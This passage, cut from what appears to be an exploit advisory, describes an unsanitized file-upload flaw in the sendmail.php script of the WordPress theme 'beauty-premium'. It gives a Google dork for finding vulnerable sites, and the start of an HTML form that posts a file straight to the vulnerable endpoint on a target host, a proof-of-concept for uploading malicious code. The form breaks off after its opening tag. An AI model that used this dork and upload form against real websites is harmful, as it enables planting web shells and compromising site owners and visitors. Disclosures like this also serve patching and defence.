 and File Upload vulnerability in the sendmail.php file. The file attachment
 gets uploaded to the wordpress upload directory and it is not sanitized,
 allowing attackers to upload harmful code. 
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:

<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
